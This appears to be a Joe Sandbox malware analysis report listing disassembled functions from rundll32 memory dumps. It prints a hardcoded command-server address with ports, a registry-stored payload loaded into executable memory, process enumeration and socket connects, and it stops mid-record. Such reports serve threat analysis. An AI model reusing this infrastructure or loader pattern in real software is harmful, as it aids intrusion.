Associated: 00000003.00000002.3546654462.000000006CCC2000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.3546679788.000000006CCC3000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_6cbc0000_rundll32.jbxd

Similarity

API ID: memmove$CompletionCreatePort
String ID: =$Failed to `Enter::block_on`$cannot access a Thread Local Storage value during or after destruction/rustc/f6e511eec7342f59a25f7c0534f1dbea00d01b14\library\std\src\thread\local.rs$failed to park thread
API String ID: 613624600-1090645739
Opcode ID: 1ad9b2b18a17bdf7bfc6bac0351c4c044277ed3f12171b6a0159504864aaa18c
Instruction ID: 045119d96bb2638879dd87021de786bac5b512def1130354673c4f71af6bf64d
Opcode Fuzzy Hash: 1ad9b2b18a17bdf7bfc6bac0351c4c044277ed3f12171b6a0159504864aaa18c
Instruction Fuzzy Hash: 570388716087918FC725CF29D4907AAB7F1BFC9308F14896DD88D8BB51EB309959CB82

Function 6CC290A8 Relevance: 11.8, APIs: 3, Strings: 4, Instructions: 1271COMMON

Download Yara Rule

APIs

memmove.VCRUNTIME140(?,?,000000D0), ref: 6CC290FF
memmove.VCRUNTIME140(00000003,?,00000098), ref: 6CC2946E

Strings

cookie2too many redirectsassertion failed: slot.is_none()D:\rust\cargo\registry\src\index.crates.io-6f17d22bba15001f\futures-channel-0.3.31\src\oneshot.rs, xrefs: 6CC29ADA
L, xrefs: 6CC29B3C
Pending error polled more than once, xrefs: 6CC29143
., xrefs: 6CC294F1

Memory Dump Source

Source File: 00000003.00000002.3546506472.000000006CBC1000.00000020.00000001.01000000.00000003.sdmp, Offset: 6CBC0000, based on PE: true

Associated: 00000003.00000002.3546466673.000000006CBC0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.3546582023.000000006CC66000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.3546654462.000000006CCC2000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.3546679788.000000006CCC3000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_6cbc0000_rundll32.jbxd

Similarity

API ID: memmove
String ID: .$L$Pending error polled more than once$cookie2too many redirectsassertion failed: slot.is_none()D:\rust\cargo\registry\src\index.crates.io-6f17d22bba15001f\futures-channel-0.3.31\src\oneshot.rs
API String ID: 2162964266-3828590624
Opcode ID: baf883ee94bd6e327904e48ebc54efe2c15739c0ea5f370a4da1912d954afdae
Instruction ID: 345d8401b4f7ac9c7ad0658fd75a40a7efd286afbb972d24557aa2f13f67f16b
Opcode Fuzzy Hash: baf883ee94bd6e327904e48ebc54efe2c15739c0ea5f370a4da1912d954afdae
Instruction Fuzzy Hash: 09B28F716087408BD725CF24C490BEEB7E1BFC5318F14892DE8999BB81EB75A849CB52

Function 6CBF4854 Relevance: 9.1, APIs: 6, Instructions: 106filenativeCOMMON

Download Yara Rule

APIs

NtCreateFile.NTDLL ref: 6CBF4879
RtlNtStatusToDosError.NTDLL ref: 6CBF4884
CreateIoCompletionPort.KERNEL32(?,?,00000000,00000000), ref: 6CBF48FB
SetFileCompletionNotificationModes.KERNEL32(?,00000002), ref: 6CBF490B

Memory Dump Source

Source File: 00000003.00000002.3546506472.000000006CBC1000.00000020.00000001.01000000.00000003.sdmp, Offset: 6CBC0000, based on PE: true

Associated: 00000003.00000002.3546466673.000000006CBC0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.3546582023.000000006CC66000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.3546654462.000000006CCC2000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.3546679788.000000006CCC3000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_6cbc0000_rundll32.jbxd

Similarity

API ID: CompletionCreateFile$ErrorModesNotificationPortStatus
String ID:
API String ID: 986160054-0
Opcode ID: 8a17320c4addc1d2d740beca9f018256152d159cc1402b8a30e41b57f84e6260
Instruction ID: 6d67ef3a4b6fce4d57cf8d1aeb910dc0d82fc81ee6cef3bfe16352e869e807b2
Opcode Fuzzy Hash: 8a17320c4addc1d2d740beca9f018256152d159cc1402b8a30e41b57f84e6260
Instruction Fuzzy Hash: 0341B8B1244345AFE7008F2ACA41B6ABBF0FB05715F14892DE1A9CB782D774E846CB51

Function 04DB5FE0 Relevance: 9.1, APIs: 6, Instructions: 86processCOMMON

Download Yara Rule

APIs

_memset.LIBCMT ref: 04DB600C
CreateToolhelp32Snapshot.KERNEL32(00000002,00000000,?,?,00000000), ref: 04DB6018
Process32FirstW.KERNEL32(00000000,00000000), ref: 04DB6049
Process32NextW.KERNEL32(00000000,0000022C), ref: 04DB609F
CloseHandle.KERNEL32(00000000,?,?,00000000), ref: 04DB60A6

Memory Dump Source

Source File: 00000003.00000002.3545390352.0000000004DB0000.00000040.00001000.00020000.00000000.sdmp, Offset: 04DB0000, based on PE: true

Associated: 00000003.00000002.3545390352.0000000004DE4000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_4db0000_rundll32.jbxd

Similarity

API ID: Process32$CloseCreateFirstHandleNextSnapshotToolhelp32_memset
String ID:
API String ID: 2526126748-0
Opcode ID: 30e0322e740bf335009a78b6f0f1a31cc7ce83626368a11fc52ad79c7b7723d0
Instruction ID: bca6d9cddc8e9780134d1e58274b6ecbdba415a320c85018617c1e7cf02383cc
Opcode Fuzzy Hash: 30e0322e740bf335009a78b6f0f1a31cc7ce83626368a11fc52ad79c7b7723d0
Instruction Fuzzy Hash: F021A631B11514DBDB20EF649C55BEE73A5FF18714F004699E94697280EB35EA04C6A2

Function 04DB6620 Relevance: 8.9, APIs: 4, Strings: 1, Instructions: 110comCOMMON

Download Yara Rule

APIs

CoInitialize.OLE32(00000000), ref: 04DB662B
CoCreateInstance.OLE32(04DD470C,00000000,00000001,04DD46FC,?,?,?,?,?,?,?,?,?,?,04DB5816), ref: 04DB6642
SysFreeString.OLEAUT32(?), ref: 04DB66DC
CoUninitialize.OLE32(?,?,?,?,?,?,?,?,?,04DB5816), ref: 04DB670D

Strings

FriendlyName, xrefs: 04DB66CB

Memory Dump Source

Source File: 00000003.00000002.3545390352.0000000004DB0000.00000040.00001000.00020000.00000000.sdmp, Offset: 04DB0000, based on PE: true

Associated: 00000003.00000002.3545390352.0000000004DE4000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_4db0000_rundll32.jbxd

Similarity

API ID: CreateFreeInitializeInstanceStringUninitialize
String ID: FriendlyName
API String ID: 841178590-3623505368
Opcode ID: b829822b1e02ac2cf5c0dfd2ac49abb546f7a0a05a4b8ef4144ab20f8f5733fb
Instruction ID: 3ab925a7d31fa84788e628c5060a170eb8173d2ea6a9ed8ef208b1a6bc083715
Opcode Fuzzy Hash: b829822b1e02ac2cf5c0dfd2ac49abb546f7a0a05a4b8ef4144ab20f8f5733fb
Instruction Fuzzy Hash: 0E314A7574020AAFDB00DB99DC81EAEB7B9EF88704F148198F905EB250DA71ED05CBA1

Function 6CBF4268 Relevance: 5.6, APIs: 2, Strings: 1, Instructions: 335filenativeCOMMON

Download Yara Rule

APIs

NtDeviceIoControlFile.NTDLL ref: 6CBF43F2
RtlNtStatusToDosError.NTDLL ref: 6CBF4404

Strings

called `Result::unwrap()` on an `Err` value, xrefs: 6CBF4626, 6CBF4675

Memory Dump Source

Source File: 00000003.00000002.3546506472.000000006CBC1000.00000020.00000001.01000000.00000003.sdmp, Offset: 6CBC0000, based on PE: true

Associated: 00000003.00000002.3546466673.000000006CBC0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.3546582023.000000006CC66000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.3546654462.000000006CCC2000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.3546679788.000000006CCC3000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_6cbc0000_rundll32.jbxd

Similarity

API ID: ControlDeviceErrorFileStatus
String ID: called `Result::unwrap()` on an `Err` value
API String ID: 2674770877-2333694755
Opcode ID: d4c7ac25d392baac3031df868a607ea835608c5ad889ad60d54d81613dd58956
Instruction ID: 49cd28f624f271906e48315525f6831e316df338ceae9fbd0d2b8ec9519d8460
Opcode Fuzzy Hash: d4c7ac25d392baac3031df868a607ea835608c5ad889ad60d54d81613dd58956
Instruction Fuzzy Hash: FAD1A0706083818FDB04CF18C59065EB7E1EF89314F14896DE8E99BB55DB30E94ACF92

Function 6CC11C98 Relevance: 5.3, APIs: 3, Instructions: 771registryCOMMON

Download Yara Rule

APIs

RegOpenKeyExW.KERNEL32(80000001,?,00000000,00020019,?), ref: 6CC11CD5

Part of subcall function 6CC0C93D: RegQueryValueExW.KERNEL32(?,?,00000000,?,?,?,?,?,?,?,00000000,?,?,6CC11D27,6CCB58B1), ref: 6CC0C99B

Memory Dump Source

Source File: 00000003.00000002.3546506472.000000006CBC1000.00000020.00000001.01000000.00000003.sdmp, Offset: 6CBC0000, based on PE: true

Associated: 00000003.00000002.3546466673.000000006CBC0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.3546582023.000000006CC66000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.3546654462.000000006CCC2000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.3546679788.000000006CCC3000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_6cbc0000_rundll32.jbxd

Similarity

API ID: OpenQueryValue
String ID:
API String ID: 4153817207-0
Opcode ID: 43029e02a3c72852b0c8edd61182e289017f547c3976e4a9865af6d2c83ed0e2
Instruction ID: 8a24623766656e913170fb597ddb7d014c4c8185dd307044a5033dc90822fd4c
Opcode Fuzzy Hash: 43029e02a3c72852b0c8edd61182e289017f547c3976e4a9865af6d2c83ed0e2
Instruction Fuzzy Hash: BC52BF7560C3819FD324CF16C49179BB7E1AFCA354F148A2DE4899BB80EB70D949DB82

Function 04203340 Relevance: 3.2, APIs: 2, Instructions: 151timeCOMMON

Download Yara Rule

APIs

timeGetTime.WINMM(?,?,00000000), ref: 042033F3
_memmove.LIBCMT ref: 04203485

Memory Dump Source

Source File: 00000003.00000002.3543705474.0000000004200000.00000040.00001000.00020000.00000000.sdmp, Offset: 04200000, based on PE: true

Associated: 00000003.00000002.3543705474.000000000421F000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_4200000_rundll32.jbxd

Similarity

API ID: Time_memmovetime
String ID:
API String ID: 1463837790-0
Opcode ID: a33751873963d48464177ddebefe0ce4e98efc1813e4d62cf5909671d04c76e6
Instruction ID: 2cf828d07125d010131c8f2b652e9308d6a7352324a1970b4f216174dfb8da0f
Opcode Fuzzy Hash: a33751873963d48464177ddebefe0ce4e98efc1813e4d62cf5909671d04c76e6
Instruction Fuzzy Hash: 13518D72720202AFD715DFA9C8C0A6AB7E5BF48314714C668ED198B782DB31F855CBD0

Function 6CC4768C Relevance: 3.0, APIs: 2, Instructions: 16networkCOMMON

Download Yara Rule

APIs

bind.WS2_32(?,?,?), ref: 6CC4769B
GetLastError.KERNEL32 ref: 6CC476A5

Memory Dump Source

Source File: 00000003.00000002.3546506472.000000006CBC1000.00000020.00000001.01000000.00000003.sdmp, Offset: 6CBC0000, based on PE: true

Associated: 00000003.00000002.3546466673.000000006CBC0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.3546582023.000000006CC66000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.3546654462.000000006CCC2000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.3546679788.000000006CCC3000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_6cbc0000_rundll32.jbxd

Similarity

API ID: ErrorLastbind
String ID:
API String ID: 2328862993-0
Opcode ID: 03b138a667a7cff859c47e3b18d36dae558f3a8157213bed39ccdf1449c72c03
Instruction ID: 158949f83903053d330d73e62ebc5d5bb3d36b4a61a13d07356134408c5fd339
Opcode Fuzzy Hash: 03b138a667a7cff859c47e3b18d36dae558f3a8157213bed39ccdf1449c72c03
Instruction Fuzzy Hash: 01D05E71204221AFE7205F29D604BBA7EEDAF06214F14C8ADE4C4D6641EB74C884DB70

Function 04205E40 Relevance: 52.7, APIs: 5, Strings: 25, Instructions: 186
registryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

_memset.LIBCMT ref: 04205E71

Part of subcall function 04205D70: lstrlenW.KERNEL32(?), ref: 04205D88
Part of subcall function 04205D70: _memset.LIBCMT ref: 04205D92
Part of subcall function 04205D70: lstrlenW.KERNEL32(|p1:45.204.213.99|o1:7677|t1:1|p2:45.204.213.99|o2:7688|t2:1|p3:45.204.213.99|o3:7699|t3:1|dd:1|cl:1|fz:), ref: 04205D9F
Part of subcall function 04205D70: lstrlenW.KERNEL32(?), ref: 04205DA7

RegOpenKeyExW.KERNEL32(80000001,Console,00000000,00020019,?), ref: 0420601B
RegQueryValueExW.KERNEL32(?,IpDate,00000000,00000003,00000000,00000000), ref: 04206040
_memset.LIBCMT ref: 04206058
RegQueryValueExW.ADVAPI32(?,IpDate,00000000,00000003,|p1:45.204.213.99|o1:7677|t1:1|p2:45.204.213.99|o2:7688|t2:1|p3:45.204.213.99|o3:7699|t3:1|dd:1|cl:1|fz:,0000000A), ref: 04206078

Strings

Console, xrefs: 04206003
p3:, xrefs: 04205EE6, 042060EA
bb:, xrefs: 04205F4F
sx:, xrefs: 04205F82
jp:, xrefs: 04205F71
p1:, xrefs: 04205E7D, 04206081
o2:, xrefs: 04205EC4, 042060C5
t1:, xrefs: 04205E9F, 042060A3
t3:, xrefs: 04205F08, 0420610C
dl:, xrefs: 04205FB8
o1:, xrefs: 04205E8E, 04206092
IpDate, xrefs: 0420603A, 04206072
kl:, xrefs: 04205FDA
sh:, xrefs: 04205FC9
o3:, xrefs: 04205EF7, 042060FB
fz:, xrefs: 04205F3E
|p1:45.204.213.99|o1:7677|t1:1|p2:45.204.213.99|o2:7688|t2:1|p3:45.204.213.99|o3:7699|t3:1|dd:1|cl:1|fz:, xrefs: 04205E54, 04206053, 04206067
t2:, xrefs: 04205ED5, 042060D6
bh:, xrefs: 04205F96
dd:, xrefs: 04205F19
ll:, xrefs: 04205FA7
cl:, xrefs: 04205F2D
bd:, xrefs: 04205FEB
p2:, xrefs: 04205EB0, 042060B4
bz:, xrefs: 04205F60

Memory Dump Source

Source File: 00000003.00000002.3543705474.0000000004200000.00000040.00001000.00020000.00000000.sdmp, Offset: 04200000, based on PE: true

Associated: 00000003.00000002.3543705474.000000000421F000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_4200000_rundll32.jbxd

Similarity

API ID: _memsetlstrlen$QueryValue$Open
String ID: Console$IpDate$bb:$bd:$bh:$bz:$cl:$dd:$dl:$fz:$jp:$kl:$ll:$o1:$o2:$o3:$p1:$p2:$p3:$sh:$sx:$t1:$t2:$t3:$|p1:45.204.213.99|o1:7677|t1:1|p2:45.204.213.99|o2:7688|t2:1|p3:45.204.213.99|o3:7699|t3:1|dd:1|cl:1|fz:
API String ID: 3278200350-1944154923
Opcode ID: c86ae5f4fb450e946f4d7ff774d3d5bad56f2b8e96592f6a770f4ade6df9ce2b
Instruction ID: 2874941c2d4e30d035c51feed4e4c7cb3e8981977ffc944e39a7f7899accf2bb
Opcode Fuzzy Hash: c86ae5f4fb450e946f4d7ff774d3d5bad56f2b8e96592f6a770f4ade6df9ce2b
Instruction Fuzzy Hash: 9551B8B8BF07497BF620B6B55C4FF5D6BD44BF1E48F508052B600B91E6A9E035808DAE

Function 042054D0 Relevance: 45.8, APIs: 16, Strings: 10, Instructions: 263
registrymemorysleepCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

RegOpenKeyExW.KERNEL32(80000001,Console\0,00000000,00020019,?), ref: 04205517
RegQueryValueExW.ADVAPI32(?,d33f351a4aeea5e608853d1a56661059,00000000,00000003,00000000,00000003), ref: 0420553E
_memset.LIBCMT ref: 04205558
RegQueryValueExW.ADVAPI32(?,d33f351a4aeea5e608853d1a56661059,00000000,00000003,00000000,00000003), ref: 04205573
VirtualAlloc.KERNEL32(00000000,000311BF,00003000,00000040), ref: 04205596
RegCloseKey.ADVAPI32(?), ref: 042055C1
VirtualFree.KERNEL32(?,00000000,00008000), ref: 04205615
_memset.LIBCMT ref: 04205679
_memset.LIBCMT ref: 0420569D
_memset.LIBCMT ref: 042056AF
VirtualAlloc.KERNEL32(00000000,000311BF,00003000,00000040), ref: 04205736
RegCreateKeyW.ADVAPI32(80000001,Console\0,?), ref: 042057A9
RegDeleteValueW.KERNEL32(?,d33f351a4aeea5e608853d1a56661059), ref: 042057BC
RegSetValueExW.KERNEL32(?,d33f351a4aeea5e608853d1a56661059,00000000,00000003,00000000,00000065), ref: 042057D4
RegCloseKey.KERNEL32(?), ref: 042057DE
Sleep.KERNEL32(00000BB8), ref: 0420580E

Strings

d33f351a4aeea5e608853d1a56661059, xrefs: 04205538, 0420556D, 042057B6, 042057CE
Console\0, xrefs: 04205503, 0420579F
!jWW, xrefs: 04205640
f43067d8a2da24686468c8b827b2e02f, xrefs: 042055CA
., xrefs: 0420564A
_, xrefs: 0420565E
l, xrefs: 04205654
i, xrefs: 04205668
{vU_, xrefs: 04205636
e, xrefs: 042054EC

Memory Dump Source

Source File: 00000003.00000002.3543705474.0000000004200000.00000040.00001000.00020000.00000000.sdmp, Offset: 04200000, based on PE: true

Associated: 00000003.00000002.3543705474.000000000421F000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_4200000_rundll32.jbxd

Similarity

API ID: Value_memset$Virtual$AllocCloseQuery$CreateDeleteFreeOpenSleep
String ID: !jWW$.$Console\0$_$d33f351a4aeea5e608853d1a56661059$e$f43067d8a2da24686468c8b827b2e02f$i$l${vU_
API String ID: 354323817-2578179815
Opcode ID: 791a7e5008f095eec84c5bcc83ba94727e1f443d2e0791da7dabae8651a8f0cc
Instruction ID: 2d3f0125eb451074a2f7dfe9214c67ef709739cf45e54324763e0fe1b85263f3
Opcode Fuzzy Hash: 791a7e5008f095eec84c5bcc83ba94727e1f443d2e0791da7dabae8651a8f0cc
Instruction Fuzzy Hash: FF91B275B50204BBE720DF55DC44FAA7BB9EB99710F008198F9089B291DBB4BE80CF51

Function 6CC194A2 Relevance: 42.8, APIs: 23, Strings: 1, Instructions: 842
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

memmove.VCRUNTIME140(?,?,00000098), ref: 6CC1A02F
memmove.VCRUNTIME140(?,?,00000098), ref: 6CC1A06A
memmove.VCRUNTIME140(?,?,00000098), ref: 6CC1A0C3
memmove.VCRUNTIME140(?,?,00000098), ref: 6CC1A12D
memmove.VCRUNTIME140(?,?,00000098), ref: 6CC1A175
memmove.VCRUNTIME140(?,?,00000098), ref: 6CC1A1B6
memmove.VCRUNTIME140(?,?,00000098), ref: 6CC1A1C8
memmove.VCRUNTIME140(?,?,00000098), ref: 6CC1A1F4
memmove.VCRUNTIME140(?,?,00000098), ref: 6CC1A251

Strings

future polled after completionD:\rust\cargo\registry\src\index.crates.io-6f17d22bba15001f\tokio-native-tls-0.3.1\src\lib.rs, xrefs: 6CC1A27D, 6CC1A299

Memory Dump Source

Source File: 00000003.00000002.3546506472.000000006CBC1000.00000020.00000001.01000000.00000003.sdmp, Offset: 6CBC0000, based on PE: true

Associated: 00000003.00000002.3546466673.000000006CBC0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.3546582023.000000006CC66000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.3546654462.000000006CCC2000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.3546679788.000000006CCC3000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_6cbc0000_rundll32.jbxd

Similarity

API ID: memmove
String ID: future polled after completionD:\rust\cargo\registry\src\index.crates.io-6f17d22bba15001f\tokio-native-tls-0.3.1\src\lib.rs
API String ID: 2162964266-1242699868
Opcode ID: dec1c8303d4823aa71901df86451f7dc3bcb9432fe60ddd05f78d1ca0162357f
Instruction ID: 18506eeddd6cf1f8bda1c43b3425fe2052d759f362c2e4dc7c9845cbeb5de31c
Opcode Fuzzy Hash: dec1c8303d4823aa71901df86451f7dc3bcb9432fe60ddd05f78d1ca0162357f
Instruction Fuzzy Hash: 61926B759087818FC761CF25C480B9BBBF5BF89310F04896EE88D9B741EB709949DB92

Function 04DB9DB0 Relevance: 33.6, APIs: 18, Strings: 1, Instructions: 312
windowCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GdipGetImagePixelFormat.GDIPLUS(Function_00009960,?,?,00000000), ref: 04DB9DDB
GdipGetImageHeight.GDIPLUS(Function_00009960,?,?,00000000), ref: 04DB9E5C
GdipGetImageWidth.GDIPLUS(Function_00009960,?,?,00000000), ref: 04DB9E84
GdipGetImagePaletteSize.GDIPLUS(Function_00009960,?,?,00000000), ref: 04DB9EDF
_malloc.LIBCMT ref: 04DB9F20

Part of subcall function 04DBF5D3: __FF_MSGBANNER.LIBCMT ref: 04DBF5EC
Part of subcall function 04DBF5D3: __NMSG_WRITE.LIBCMT ref: 04DBF5F3
Part of subcall function 04DBF5D3: RtlAllocateHeap.NTDLL(00000000,00000001,00000001,00000000,00000000,?,04DC44E0,00000000,00000001,00000000,?,04DC8DE6,00000018,04DD6448,0000000C,04DC8E76), ref: 04DBF618

_free.LIBCMT ref: 04DB9F60
GdipGetImagePalette.GDIPLUS(?,00000008,?,?,00000000), ref: 04DB9F88
SetDIBColorTable.GDI32(?,00000000,?,?,?,00000000), ref: 04DBA00C
GdipBitmapLockBits.GDIPLUS(Function_00009960,?,00000001,?,?,?,00000000), ref: 04DBA06C
_free.LIBCMT ref: 04DBA08F

Strings

&, xrefs: 04DB9E41

Memory Dump Source

Source File: 00000003.00000002.3545390352.0000000004DB0000.00000040.00001000.00020000.00000000.sdmp, Offset: 04DB0000, based on PE: true

Associated: 00000003.00000002.3545390352.0000000004DE4000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_4db0000_rundll32.jbxd

Similarity

API ID: Gdip$Image$Palette_free$AllocateBitmapBitsColorFormatHeapHeightLockPixelSizeTableWidth_malloc
String ID: &
API String ID: 1451381890-3042966939
Opcode ID: 892e35435105279abc40681b8cca6cb86cae5151de6173415ec4c4b5a9c99191
Instruction ID: 493169b9e0617794fb30324d5f8e82f78efbea171d0a27a771a8df98b2380039
Opcode Fuzzy Hash: 892e35435105279abc40681b8cca6cb86cae5151de6173415ec4c4b5a9c99191
Instruction Fuzzy Hash: 30D12BF1A00219DBDB24CF55CC94BAAB7B4FB48314F0085E9E74A97201D774AE85CFA9

Function 04DB2DA0 Relevance: 31.7, APIs: 17, Strings: 1, Instructions: 203
networkstringtimeCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

ResetEvent.KERNEL32(?), ref: 04DB2DBB
InterlockedExchange.KERNEL32(?,00000000), ref: 04DB2DC7
timeGetTime.WINMM ref: 04DB2DCD
socket.WS2_32(00000002,00000001,00000006), ref: 04DB2DFA
lstrlenW.KERNEL32(?,00000000,00000000,00000000,00000000), ref: 04DB2E26
WideCharToMultiByte.KERNEL32(00000000,00000000,?,00000000), ref: 04DB2E32
lstrlenW.KERNEL32(?,00000000,000000CA,00000000,00000000), ref: 04DB2E51
WideCharToMultiByte.KERNEL32(00000000,00000000,?,00000000), ref: 04DB2E5D
gethostbyname.WS2_32(00000000), ref: 04DB2E6B
htons.WS2_32(?), ref: 04DB2E8D
connect.WS2_32(?,?,00000010), ref: 04DB2EAB

Strings

0u, xrefs: 04DB2F1C

Memory Dump Source

Source File: 00000003.00000002.3545390352.0000000004DB0000.00000040.00001000.00020000.00000000.sdmp, Offset: 04DB0000, based on PE: true

Associated: 00000003.00000002.3545390352.0000000004DE4000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_4db0000_rundll32.jbxd

Similarity

API ID: ByteCharMultiWidelstrlen$EventExchangeInterlockedResetTimeconnectgethostbynamehtonssockettime
String ID: 0u
API String ID: 640718063-3203441087
Opcode ID: fee500ae9d0c7d3e93b009b089b98d7e605069cb3e41c92c285e32c34a847ec5
Instruction ID: e34eb855045ab743b3203417f8cea12e6bfed2a82271292e92d76c992df4cd90
Opcode Fuzzy Hash: fee500ae9d0c7d3e93b009b089b98d7e605069cb3e41c92c285e32c34a847ec5
Instruction Fuzzy Hash: D1614F71A40304AFE720DFA5DC45FAAB7B8FF4CB10F10455DF656A7280D7B4A9048BA5

Function 04202D80 Relevance: 31.7, APIs: 17, Strings: 1, Instructions: 203
networkstringtimeCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

ResetEvent.KERNEL32(?), ref: 04202D9B
InterlockedExchange.KERNEL32(?,00000000), ref: 04202DA7
timeGetTime.WINMM ref: 04202DAD
socket.WS2_32(00000002,00000001,00000006), ref: 04202DDA
lstrlenW.KERNEL32(?,00000000,00000000,00000000,00000000), ref: 04202E06
WideCharToMultiByte.KERNEL32(00000000,00000000,?,00000000), ref: 04202E12
lstrlenW.KERNEL32(?,00000000,000000CA,00000000,00000000), ref: 04202E31
WideCharToMultiByte.KERNEL32(00000000,00000000,?,00000000), ref: 04202E3D
gethostbyname.WS2_32(00000000), ref: 04202E4B
htons.WS2_32(?), ref: 04202E6D
connect.WS2_32(?,?,00000010), ref: 04202E8B

Strings

0u, xrefs: 04202EFC

Memory Dump Source

Source File: 00000003.00000002.3543705474.0000000004200000.00000040.00001000.00020000.00000000.sdmp, Offset: 04200000, based on PE: true

Associated: 00000003.00000002.3543705474.000000000421F000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_4200000_rundll32.jbxd

Similarity

API ID: ByteCharMultiWidelstrlen$EventExchangeInterlockedResetTimeconnectgethostbynamehtonssockettime
String ID: 0u
API String ID: 640718063-3203441087
Opcode ID: 8abab83ab64dfcf743ee493e72094c5facc81c5990ebb1c7d3766fc8e920363d
Instruction ID: 96622bcc1ea64264dbf44f4524985dc4f31d2f8339a70feefe1a4326984c6ce5
Opcode Fuzzy Hash: 8abab83ab64dfcf743ee493e72094c5facc81c5990ebb1c7d3766fc8e920363d
Instruction Fuzzy Hash: E36191B1A50308BFE720DFA8DC49FAAB7F8FF48710F104519F645A72D0DAB0A9448B64

Function 04DBACA0 Relevance: 28.3, APIs: 12, Strings: 4, Instructions: 347
registryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

RegOpenKeyExW.KERNELBASE(80000001,Console,00000000,00020019,?), ref: 04DBACE3
RegQueryValueExW.KERNEL32(?,IpDatespecial,00000000,?,00000000,?), ref: 04DBAD03

Strings

Console\0, xrefs: 04DBB06C
Console, xrefs: 04DBACC9
IpDatespecial, xrefs: 04DBACFD
%s_bin, xrefs: 04DBADC3

Memory Dump Source

Source File: 00000003.00000002.3545390352.0000000004DB0000.00000040.00001000.00020000.00000000.sdmp, Offset: 04DB0000, based on PE: true

Associated: 00000003.00000002.3545390352.0000000004DE4000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_4db0000_rundll32.jbxd

Similarity

API ID: OpenQueryValue
String ID: %s_bin$Console$Console\0$IpDatespecial
API String ID: 4153817207-1338088003
Opcode ID: dd23af12859f671b8f85d4eafdcc0cd2761b01f798a580e29c5d9c3690504440
Instruction ID: 55428c4aa81d78659b699be0f9f503cbcb188825ec47d9527649daed3516b97b
Opcode Fuzzy Hash: dd23af12859f671b8f85d4eafdcc0cd2761b01f798a580e29c5d9c3690504440
Instruction Fuzzy Hash: 9FC180B1700201EBE714EF24DC45FAB73A9FB98718F044569F98A9B381E675F904C6E2

Function 04DB60E0 Relevance: 28.2, APIs: 14, Strings: 2, Instructions: 222
stringcomregistryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

_memset.LIBCMT ref: 04DB611B
lstrcatW.KERNEL32(04DE1F10,04DD510C,?,B7FCE562,75BF73E0,00000000,00000AD4), ref: 04DB615D
lstrcatW.KERNEL32(04DE1F10,04DD535C,?,B7FCE562,75BF73E0,00000000,00000AD4), ref: 04DB6169
CoCreateInstance.OLE32(04DD2480,00000000,00000017,04DD578C,?,?,B7FCE562,75BF73E0,00000000,00000AD4), ref: 04DB61B0
_memset.LIBCMT ref: 04DB625E
wsprintfW.USER32 ref: 04DB62C6
RegOpenKeyExW.ADVAPI32(80000000,?,00000000,00020019,?), ref: 04DB62EF
_memset.LIBCMT ref: 04DB6306

Part of subcall function 04DB5FE0: _memset.LIBCMT ref: 04DB600C
Part of subcall function 04DB5FE0: CreateToolhelp32Snapshot.KERNEL32(00000002,00000000,?,?,00000000), ref: 04DB6018

Strings

